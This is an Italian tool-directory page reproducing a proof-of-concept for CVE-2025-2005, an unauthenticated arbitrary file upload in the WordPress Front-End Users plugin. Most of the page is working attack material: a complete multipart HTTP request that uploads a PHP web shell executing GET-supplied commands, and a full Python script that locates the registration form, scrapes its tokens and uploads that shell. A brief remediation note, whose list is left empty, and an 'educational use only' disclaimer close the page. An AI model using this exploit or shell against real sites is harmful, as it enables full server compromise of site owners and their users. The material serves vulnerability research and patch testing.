Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-2005 — Il plugin WordPress Front End Users <= 3.2.32 è vulnerabile al caricamento arbitrario di file. | Kitploit
Strumenti/GitHubGitHub/nxploited/cve-2025-2005
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubnxploited/cve-2025-2005

CVE-2025-2005

Il plugin WordPress Front End Users <= 3.2.32 è vulnerabile al caricamento arbitrario di file.

Vedi Repository
931 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-2005

Il plugin WordPress Front End Users <= 3.2.32 è vulnerabile al caricamento arbitrario di file

Exploit del Plugin WordPress Front-End Users

Informazioni sulla Vulnerabilità

  • Nome del Plugin: Front-End Users Plugin
  • Versione Affetta: <= 3.2.32
  • Tipo di Vulnerabilità: Caricamento Arbitrario di File
  • Punteggio CVSS: 10 (Critico)
  • Rischio: Questa vulnerabilità consente ad attaccanti non autenticati di caricare file arbitrari (come web shell PHP), che possono poi essere eseguiti da remoto. Ciò consente l'esecuzione completa di codice sul server, portando alla compromissione totale.

Descrizione della Vulnerabilità

La vulnerabilità risiede nel modo in cui il plugin Front-End Users gestisce il caricamento dei file tramite i moduli di registrazione. Non esiste una corretta validazione dell'estensione dei file, né controlli di autenticazione, né sanitizzazione del tipo di file. Un attaccante può inviare una richiesta POST multipart/form-data a qualsiasi modulo di registrazione generato dal plugin e includere un file PHP dannoso nel campo personalizzato (ad es. Nxploit).

Anche se il plugin salva i file caricati nella directory wp-content/uploads/ewd_feup_uploads/, il file caricato viene rinominato con un hash casuale. Tuttavia, il file rimane eseguibile se l'esecuzione di PHP è consentita nella directory degli upload.


Prova di Concetto (PoC)

PoC 1 - Richiesta HTTP Manuale

root@kitploit:~
POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-check"
14bacb882cb211e10b2b3e07bfe096ef12a092dc

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-time"
1743554029

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-action"
register

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-post-id"
573

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-omit-level"
No

------WebKitFormBoundary
Content-Disposition: form-data; name="Username"
Nxploited

------WebKitFormBoundary
Content-Disposition: form-data; name="User_Password"
Nxploited

------WebKitFormBoundary
Content-Disposition: form-data; name="Confirm_User_Password"
Nxploited

------WebKitFormBoundary
Content-Disposition: form-data; name="First Name"
Nxploited

------WebKitFormBoundary
Content-Disposition: form-data; name="Last Name"
Nxploited

------WebKitFormBoundary
Content-Disposition: form-data; name="Nxploit"; filename="shell.php"
Content-Type: application/x-php

<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>

------WebKitFormBoundary
Content-Disposition: form-data; name="Register_Submit"
Register
------WebKitFormBoundary--

Dopo la richiesta, il file verrà salvato nella seguente posizione:

root@kitploit:~
/wp-content/uploads/ewd_feup_uploads/[RANDOMIZED_FILENAME].php

Il nome del file non corrisponderà a quello caricato (ad es. shell.php), ma può essere individuato manualmente o indovinato con uno scanner.


PoC 2 - Script di Exploit in Python

root@kitploit:~
import requests
from bs4 import BeautifulSoup
import tempfile
import argparse
from urllib.parse import urljoin

requests.packages.urllib3.disable_warnings()
session = requests.Session()
session.verify = False

parser = argparse.ArgumentParser(description="Upload shell to vulnerable WordPress Front-End Users Plugin By: Nxploited | Khaled Alenzi")
parser.add_argument("--url", "-u", required=True, help="Base URL of the target site (e.g. http://site.com/)")
parser.add_argument("--newuser", "-nu", required=True, help="Username to register")
parser.add_argument("--newpassword", "-np", required=True, help="Password for the new user")
args = parser.parse_args()

base_url = args.url.rstrip("/")
username = args.newuser
password = args.newpassword

print("[*] Starting scan on:", base_url)

try:
    response = session.get(base_url, timeout=10)
    soup = BeautifulSoup(response.text, 'html.parser')
except Exception as e:
    print("[-] Failed to fetch base URL.")
    print("Error:", str(e))
    exit()

page_links = set()
for a in soup.find_all("a", href=True):
    href = a["href"]
    if href.startswith("/") or base_url in href:
        full_url = urljoin(base_url, href)
        page_links.add(full_url)

print(f"[*] Found {len(page_links)} internal pages to scan...")

registration_url = None
for link in page_links:
    try:
        page = session.get(link, timeout=10)
        if "ewd-feup-register-form" in page.text and "ewd-feup-check" in page.text:
            registration_url = link
            print(f"[+] Found FEUP registration form at: {registration_url}")
            break
    except:
        continue

if not registration_url:
    print("[-] Could not automatically locate the FEUP registration form.")
    print("[!] Please provide the correct path manually using --url.")
    exit()

page = session.get(registration_url)
soup = BeautifulSoup(page.text, 'html.parser')

def get_input_value(name):
    field = soup.find('input', {'name': name})
    return field['value'] if field else ''

check_value = get_input_value('ewd-feup-check')
time_value = get_input_value('ewd-feup-time')
post_id = get_input_value('ewd-feup-post-id')

file_input = soup.find('input', {'type': 'file'})
file_field_name = file_input['name'] if file_input and 'name' in file_input.attrs else ''

print(f"[+] ewd-feup-check: {check_value}")
print(f"[+] ewd-feup-time: {time_value}")
print(f"[+] ewd-feup-post-id: {post_id}")
print(f"[+] Upload field name: {file_field_name if file_field_name else 'Not found'}")

shell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>"
temp_shell = tempfile.NamedTemporaryFile(delete=False, suffix=".php", mode='w+b')
temp_shell.write(shell_content.encode())
temp_shell.seek(0)

data = {
    'ewd-feup-check': check_value,
    'ewd-feup-time': time_value,
    'ewd-feup-action': 'register',
    'ewd-feup-post-id': post_id,
    'ewd-feup-omit-level': 'No',
    'Username': username,
    'User_Password': password,
    'Confirm_User_Password': password,
    'First Name': 'admin',
    'Last Name': 'admin',
    'Register_Submit': 'Register'
}

files = {file_field_name: ('shell.php', temp_shell, 'application/x-php')} if file_field_name else {}

print("[*] Uploading shell to:", registration_url)
upload_response = session.post(registration_url, data=data, files=files)
print(f"[*] HTTP Status Code: {upload_response.status_code}")

if upload_response.status_code == 200:
    print("[+] Upload request completed.")
else:
    print("[-] Upload may have failed.")

temp_shell.close()


Rimedio

Aggiorna il plugin Front-End Users all'ultima versione sicura (se disponibile), oppure disabilitalo temporaneamente se non è disponibile alcuna patch. Inoltre:



Disclaimer

Questo PoC è solo a scopo educativo e di test di sicurezza autorizzato. Usalo in modo responsabile e solo contro target per cui hai esplicito permesso di testare.

di Nxploit.

Scarica lo strumento